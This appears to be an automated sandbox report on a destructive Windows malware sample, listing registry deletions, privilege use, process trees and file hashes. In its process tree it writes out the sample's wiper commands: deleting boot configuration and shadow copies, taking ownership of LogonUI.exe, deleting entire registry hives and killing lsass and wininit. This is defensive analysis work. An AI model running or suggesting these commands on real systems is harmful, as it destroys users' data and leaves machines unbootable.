\REGISTRY\MACHINE\SOFTWARE\Classes\themepackfile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{978C9E23-D4B0-11CE-BF2D-00AA003F40D0}\Implemented Categories reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CAFEEFAC-0017-0000-0029-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CAFEEFAC-0017-0000-0091-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{51973C55-CB0C-11D0-B5C9-00A0244A0E7A} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DE-5A91-11CF-8700-00AA0060263B} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{20E823C2-62F3-4638-96BD-90F4F6784EBC} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5052A832-2C0F-46c7-B67C-1F1FEC37B280}\ToolboxBitmap32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Record\{359EAB69-7EA9-3179-B5D8-808A3CA74365}\15.0.0.0 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\windows.protocol\ms-getoffice\AppXmv9vjzaeg21cc3hba9zs3k9vcdp3c6jm reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0098-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0013-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\NetworkExplorerPlugins\urn:schemas-upnp-org:device:MediaRenderer:1\ShellEx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{30590075-98B5-11CF-BB82-00AA00BDCE0B} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AllSyncRootObjects reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020907-0000-0000-C000-000000000046}\DataFormats\GetSet\4 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{000209FF-0000-0000-C000-000000000046}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\IE.AssocFile.PARTIAL\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020832-0000-0000-C000-000000000046}\DefaultExtension reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Record\{9C46779B-5D34-399B-8F02-1FD193FDE323} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Extensions\ContractId\Windows.Launch\PackageId\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CAFEEFAC-0014-0002-0016-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\WOW6432Node\Interface\{a7126d4c-f492-4eb9-8a2a-f673dbdd3334}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Forms.HTML:Select.1\CLSID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\open\ddeexec\Application reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Record\{E87FA4D7-0CAA-3C24-BE83-CF98B50186E2} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{30510736-98B5-11CF-BB82-00AA00BDCE0B}\ProxyStubClsid32 reg.exe -
Modifies registry key 1 TTPs 2 IoCs
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Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
vssvc.exetakeown.exedescription pid process Token: SeBackupPrivilege 3856 vssvc.exe Token: SeRestorePrivilege 3856 vssvc.exe Token: SeAuditPrivilege 3856 vssvc.exe Token: SeTakeOwnershipPrivilege 4176 takeown.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.execmd.exedescription pid process target process PID 4660 wrote to memory of 3592 4660 1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe cmd.exe PID 4660 wrote to memory of 3592 4660 1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe cmd.exe PID 3592 wrote to memory of 4252 3592 cmd.exe bcdedit.exe PID 3592 wrote to memory of 4252 3592 cmd.exe bcdedit.exe PID 3592 wrote to memory of 4276 3592 cmd.exe vssadmin.exe PID 3592 wrote to memory of 4276 3592 cmd.exe vssadmin.exe PID 3592 wrote to memory of 4176 3592 cmd.exe takeown.exe PID 3592 wrote to memory of 4176 3592 cmd.exe takeown.exe PID 3592 wrote to memory of 4116 3592 cmd.exe icacls.exe PID 3592 wrote to memory of 4116 3592 cmd.exe icacls.exe PID 3592 wrote to memory of 3344 3592 cmd.exe reg.exe PID 3592 wrote to memory of 3344 3592 cmd.exe reg.exe PID 3592 wrote to memory of 904 3592 cmd.exe reg.exe PID 3592 wrote to memory of 904 3592 cmd.exe reg.exe PID 3592 wrote to memory of 1080 3592 cmd.exe reg.exe PID 3592 wrote to memory of 1080 3592 cmd.exe reg.exe PID 3592 wrote to memory of 1108 3592 cmd.exe reg.exe PID 3592 wrote to memory of 1108 3592 cmd.exe reg.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe"C:\Users\Admin\AppData\Local\Temp\1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6632.tmp\6633.tmp\6634.bat C:\Users\Admin\AppData\Local\Temp\1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\bcdedit.exebcdedit /delete {current}3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\System32\vssadmin.exevssadmin delete shadows /for=c: /all /quiet3⤵
- Interacts with shadow copies
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C:\Windows\System32\takeown.exetakeown /f LogonUI.exe3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\icacls.exeicacls LogonUI.exe /grant Admin:f3⤵
- Possible privilege escalation attempt
- Modifies file permissions
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C:\Windows\System32\reg.exereg delete HKCU /f3⤵
- Modifies system executable filetype association
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies registry class
- Modifies registry key
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C:\Windows\System32\reg.exereg delete HKU /f3⤵
- Adds Run key to start application
- Modifies data under HKEY_USERS
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C:\Windows\System32\reg.exereg delete HKCC /f3⤵
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C:\Windows\System32\reg.exereg delete HKCR /f3⤵
- Modifies system executable filetype association
- Modifies registry class
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C:\Windows\System32\taskkill.exetaskkill /im lsass.exe /f /t3⤵
- Kills process with taskkill
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C:\Windows\System32\reg.exereg delete HKLM /f3⤵
- Modifies registry key
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C:\Windows\System32\taskkill.exetaskkill /im wininit.exe /f /t3⤵
- Kills process with taskkill
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wlrmdr.exe-s -1 -f 2 -t Your PC will automatically restart in one minute -m Windows ran into a problem and needs to restart. You should close this message now and save your work. -a 31⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\6632.tmp\6633.tmp\6634.batMD5
38dc7703a0a8fddc5870776a3b4e662c
SHA14fd989609b186842874ce1dba6b32ab71bc77881
SHA2565636818caa00d72d10df36a8b37cd355d74855c5cf891aeaf468c19d1f08176c
SHA512dd89c0adcaa1b5122eddda514d9cebe3cc100f2aed13192ba1e58ffb1848bed5c46c6b9d2762e3d1a0da01d5f099cada05a99167f675768f6573b8ef983f5291
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memory/904-121-0x0000000000000000-mapping.dmp
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memory/1080-122-0x0000000000000000-mapping.dmp
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memory/1108-123-0x0000000000000000-mapping.dmp
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memory/1692-124-0x0000000000000000-mapping.dmp
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memory/2340-125-0x0000000000000000-mapping.dmp
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memory/3344-120-0x0000000000000000-mapping.dmp
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memory/3592-114-0x0000000000000000-mapping.dmp
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memory/4116-119-0x0000000000000000-mapping.dmp
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memory/4176-118-0x0000000000000000-mapping.dmp
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memory/4252-116-0x0000000000000000-mapping.dmp
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memory/4276-117-0x0000000000000000-mapping.dmp